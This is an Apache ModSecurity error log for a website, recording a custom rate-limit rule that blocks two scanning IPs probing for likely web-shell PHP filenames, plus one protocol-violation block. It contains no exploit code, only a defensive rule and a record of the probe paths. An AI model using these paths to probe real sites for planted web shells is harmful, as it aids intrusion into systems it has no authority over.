[Thu Dec 25 21:39:22.401309 2025] [:error] [pid 22044:tid 22075] [client 4.241.194.62:36472] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU0-inPTC5rQKTB0FQ-SBQAAAMA"]
[Thu Dec 25 21:39:22.929485 2025] [:error] [pid 27869:tid 27872] [client 4.241.194.62:64970] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aU0-ihNK7_n86kBD7qfMBAAAAIE"]
[Thu Dec 25 21:39:23.838493 2025] [:error] [pid 22044:tid 22086] [client 4.241.194.62:64871] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aU0-i3PTC5rQKTB0FQ-SCgAAAMs"]
[Thu Dec 25 21:39:24.400333 2025] [:error] [pid 22045:tid 22118] [client 4.241.194.62:64878] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aU0-jKsGGmXjDnvlmHtj5wAAAVA"]
[Thu Dec 25 21:39:25.227813 2025] [:error] [pid 22043:tid 22068] [client 4.241.194.62:64851] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aU0-jT4YVtlb2Iz_QE5IRwAAABQ"]
[Thu Dec 25 21:39:25.998702 2025] [:error] [pid 22044:tid 22090] [client 4.241.194.62:38821] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hello.php"] [unique_id "aU0-jXPTC5rQKTB0FQ-SFAAAAM8"]
[Thu Dec 25 21:39:26.862430 2025] [:error] [pid 22044:tid 22081] [client 4.241.194.62:64168] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aU0-jnPTC5rQKTB0FQ-SGAAAAMY"]
[Thu Dec 25 22:23:09.805106 2025] [:error] [pid 22131:tid 22149] [client 117.33.163.216:36930] [client 117.33.163.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aU1IzZvVMtSTB4lX2fY51gAAAE4"]
[Thu Dec 25 22:39:21.669092 2025] [:error] [pid 22043:tid 22055] [client 4.217.192.251:5588] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qual.php"] [unique_id "aU1MmT4YVtlb2Iz_QE5ZwAAAAAc"]
[Thu Dec 25 22:39:21.958170 2025] [:error] [pid 22131:tid 22140] [client 4.217.192.251:64288] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qual.php"] [unique_id "aU1MmZvVMtSTB4lX2fY-kgAAAEY"]
[Thu Dec 25 22:39:22.239407 2025] [:error] [pid 22043:tid 22051] [client 4.217.192.251:5357] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qual.php"] [unique_id "aU1Mmj4YVtlb2Iz_QE5ZwQAAAAM"]
[Thu Dec 25 22:39:22.527028 2025] [:error] [pid 22045:tid 22112] [client 4.217.192.251:61664] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qual.php"] [unique_id "aU1MmqsGGmXjDnvlmHt23gAAAUo"]
[Thu Dec 25 22:39:22.806470 2025] [:error] [pid 22045:tid 22113] [client 4.217.192.251:52112] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/udnkq.php"] [unique_id "aU1MmqsGGmXjDnvlmHt23wAAAUs"]
[Thu Dec 25 22:39:23.108137 2025] [:error] [pid 22043:tid 22050] [client 4.217.192.251:5369] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/udnkq.php"] [unique_id "aU1Mmz4YVtlb2Iz_QE5ZwgAAAAI"]
[Thu Dec 25 22:39:23.408962 2025] [:error] [pid 22131:tid 22135] [client 4.217.192.251:61632] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/udnkq.php"] [unique_id "aU1Mm5vVMtSTB4lX2fY-lgAAAEI"]
[Thu Dec 25 22:39:23.763970 2025] [:error] [pid 22044:tid 22080] [client 4.217.192.251:5574] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/udnkq.php"] [unique_id "aU1Mm3PTC5rQKTB0FQ-qBQAAAMU"]
[Thu Dec 25 22:39:24.045047 2025] [:error] [pid 22131:tid 22141] [client 4.217.192.251:52108] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "aU1MnJvVMtSTB4lX2fY-mQAAAEc"]
[Thu Dec 25 22:39:24.380687 2025] [:error] [pid 22044:tid 22082] [client 4.217.192.251:5609] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "aU1MnHPTC5rQKTB0FQ-qBwAAAMc"]
[Thu Dec 25 22:39:24.681079 2025] [:error] [pid 22045:tid 22109] [client 4.217.192.251:52120] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "aU1MnKsGGmXjDnvlmHt24QAAAUc"]
[Thu Dec 25 22:39:24.965906 2025] [:error] [pid 22043:tid 22072] [client 4.217.192.251:5370] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ng.php"] [unique_id "aU1MnD4YVtlb2Iz_QE5ZxAAAABg"]
[Thu Dec 25 22:39:25.267641 2025] [:error] [pid 22045:tid 22119] [client 4.217.192.251:5312] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z4qmm5.php"] [unique_id "aU1MnasGGmXjDnvlmHt24wAAAVE"]
[Thu Dec 25 22:39:25.603333 2025] [:error] [pid 22043:tid 22059] [client 4.217.192.251:64284] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z4qmm5.php"] [unique_id "aU1MnT4YVtlb2Iz_QE5ZxQAAAAs"]
[Thu Dec 25 22:39:25.911511 2025] [:error] [pid 27869:tid 27881] [client 4.217.192.251:64261] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z4qmm5.php"] [unique_id "aU1MnRNK7_n86kBD7qfn1wAAAIo"]
[Thu Dec 25 22:39:26.195992 2025] [:error] [pid 22045:tid 22126] [client 4.217.192.251:5583] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z4qmm5.php"] [unique_id "aU1MnqsGGmXjDnvlmHt25AAAAVg"]
[Thu Dec 25 22:39:26.492279 2025] [:error] [pid 22044:tid 22099] [client 4.217.192.251:5338] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no3.php"] [unique_id "aU1MnnPTC5rQKTB0FQ-qDQAAANg"]
[Thu Dec 25 22:39:26.789542 2025] [:error] [pid 22131:tid 22134] [client 4.217.192.251:57697] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no3.php"] [unique_id "aU1MnpvVMtSTB4lX2fY-nAAAAEE"]
[Thu Dec 25 22:39:27.101159 2025] [:error] [pid 27869:tid 27880] [client 4.217.192.251:57714] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no3.php"] [unique_id "aU1MnxNK7_n86kBD7qfn2QAAAIk"]
[Thu Dec 25 22:39:27.378381 2025] [:error] [pid 22043:tid 22056] [client 4.217.192.251:64297] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no3.php"] [unique_id "aU1Mnz4YVtlb2Iz_QE5ZyQAAAAg"]
[Thu Dec 25 22:39:27.662758 2025] [:error] [pid 22044:tid 22089] [client 4.217.192.251:5573] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/om.php"] [unique_id "aU1Mn3PTC5rQKTB0FQ-qDwAAAM4"]
[Thu Dec 25 22:39:27.958930 2025] [:error] [pid 27869:tid 27894] [client 4.217.192.251:61680] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/om.php"] [unique_id "aU1MnxNK7_n86kBD7qfn3AAAAJc"]
[Thu Dec 25 22:39:28.263685 2025] [:error] [pid 22044:tid 22088] [client 4.217.192.251:64267] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/om.php"] [unique_id "aU1MoHPTC5rQKTB0FQ-qEAAAAM0"]
[Thu Dec 25 22:39:28.551244 2025] [:error] [pid 22045:tid 22122] [client 4.217.192.251:57721] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/om.php"] [unique_id "aU1MoKsGGmXjDnvlmHt25wAAAVQ"]
[Thu Dec 25 22:39:28.842697 2025] [:error] [pid 22044:tid 22079] [client 4.217.192.251:5610] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webix.php"] [unique_id "aU1MoHPTC5rQKTB0FQ-qEgAAAMQ"]
[Thu Dec 25 22:39:29.134297 2025] [:error] [pid 22044:tid 22093] [client 4.217.192.251:5604] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webix.php"] [unique_id "aU1MoXPTC5rQKTB0FQ-qFAAAANI"]
[Thu Dec 25 22:39:29.421427 2025] [:error] [pid 27869:tid 27893] [client 4.217.192.251:5353] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webix.php"] [unique_id "aU1MoRNK7_n86kBD7qfn3wAAAJY"]
[Thu Dec 25 22:39:29.753280 2025] [:error] [pid 27869:tid 27873] [client 4.217.192.251:5323] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webix.php"] [unique_id "aU1MoRNK7_n86kBD7qfn4AAAAII"]
[Thu Dec 25 22:39:30.044532 2025] [:error] [pid 27869:tid 27883] [client 4.217.192.251:52151] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aU1MohNK7_n86kBD7qfn4QAAAIw"]
[Thu Dec 25 22:39:30.320643 2025] [:error] [pid 27869:tid 27875] [client 4.217.192.251:57667] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aU1MohNK7_n86kBD7qfn4wAAAIQ"]
[Thu Dec 25 22:39:30.614707 2025] [:error] [pid 22045:tid 22102] [client 4.217.192.251:57678] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aU1MoqsGGmXjDnvlmHt26QAAAUA"]
[Thu Dec 25 22:39:30.885489 2025] [:error] [pid 22043:tid 22064] [client 4.217.192.251:64282] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aU1Moj4YVtlb2Iz_QE5ZzAAAABA"]
[Thu Dec 25 22:39:31.165302 2025] [:error] [pid 22131:tid 22160] [client 4.217.192.251:52138] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cka.php"] [unique_id "aU1Mo5vVMtSTB4lX2fY-oAAAAFg"]
[Thu Dec 25 22:39:31.504556 2025] [:error] [pid 22043:tid 22049] [client 4.217.192.251:64270] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cka.php"] [unique_id "aU1Moz4YVtlb2Iz_QE5ZzgAAAAE"]
[Thu Dec 25 22:39:31.785485 2025] [:error] [pid 22045:tid 22103] [client 4.217.192.251:61679] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cka.php"] [unique_id "aU1Mo6sGGmXjDnvlmHt27gAAAUE"]
[Thu Dec 25 22:39:32.070077 2025] [:error] [pid 22044:tid 22098] [client 4.217.192.251:5580] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cka.php"] [unique_id "aU1MpHPTC5rQKTB0FQ-qGQAAANc"]
[Thu Dec 25 22:39:32.368054 2025] [:error] [pid 27869:tid 27881] [client 4.217.192.251:52157] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aU1MpBNK7_n86kBD7qfn6AAAAIo"]
[Thu Dec 25 22:39:32.650033 2025] [:error] [pid 22131:tid 22133] [client 4.217.192.251:5576] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aU1MpJvVMtSTB4lX2fY-oQAAAEA"]
[Thu Dec 25 22:39:32.920613 2025] [:error] [pid 22131:tid 22143] [client 4.217.192.251:57696] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aU1MpJvVMtSTB4lX2fY-ogAAAEk"]
[Thu Dec 25 22:39:33.193247 2025] [:error] [pid 22044:tid 22081] [client 4.217.192.251:64286] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sx.php"] [unique_id "aU1MpXPTC5rQKTB0FQ-qHAAAAMY"]
[Thu Dec 25 22:39:33.463811 2025] [:error] [pid 22131:tid 22135] [client 4.217.192.251:5593] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aU1MpZvVMtSTB4lX2fY-owAAAEI"]
[Thu Dec 25 22:39:33.757379 2025] [:error] [pid 27869:tid 27872] [client 4.217.192.251:57698] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aU1MpRNK7_n86kBD7qfn6wAAAIE"]
[Thu Dec 25 22:39:34.025807 2025] [:error] [pid 22045:tid 22115] [client 4.217.192.251:61673] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aU1MpqsGGmXjDnvlmHt27wAAAU0"]
[Thu Dec 25 22:39:34.296185 2025] [:error] [pid 22045:tid 22112] [client 4.217.192.251:57688] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z60.php"] [unique_id "aU1MpqsGGmXjDnvlmHt28AAAAUo"]
[Thu Dec 25 22:39:34.579664 2025] [:error] [pid 22131:tid 22151] [client 4.217.192.251:65301] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aU1MppvVMtSTB4lX2fY-pAAAAFA"]
[Thu Dec 25 22:39:34.852290 2025] [:error] [pid 27869:tid 27895] [client 4.217.192.251:5355] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aU1MphNK7_n86kBD7qfn7QAAAJg"]
[Thu Dec 25 22:39:35.121547 2025] [:error] [pid 27869:tid 27893] [client 4.217.192.251:57693] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aU1MpxNK7_n86kBD7qfn7wAAAJY"]
[Thu Dec 25 22:39:35.400032 2025] [:error] [pid 22045:tid 22105] [client 4.217.192.251:64275] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/about/function.php"] [unique_id "aU1Mp6sGGmXjDnvlmHt28wAAAUM"]
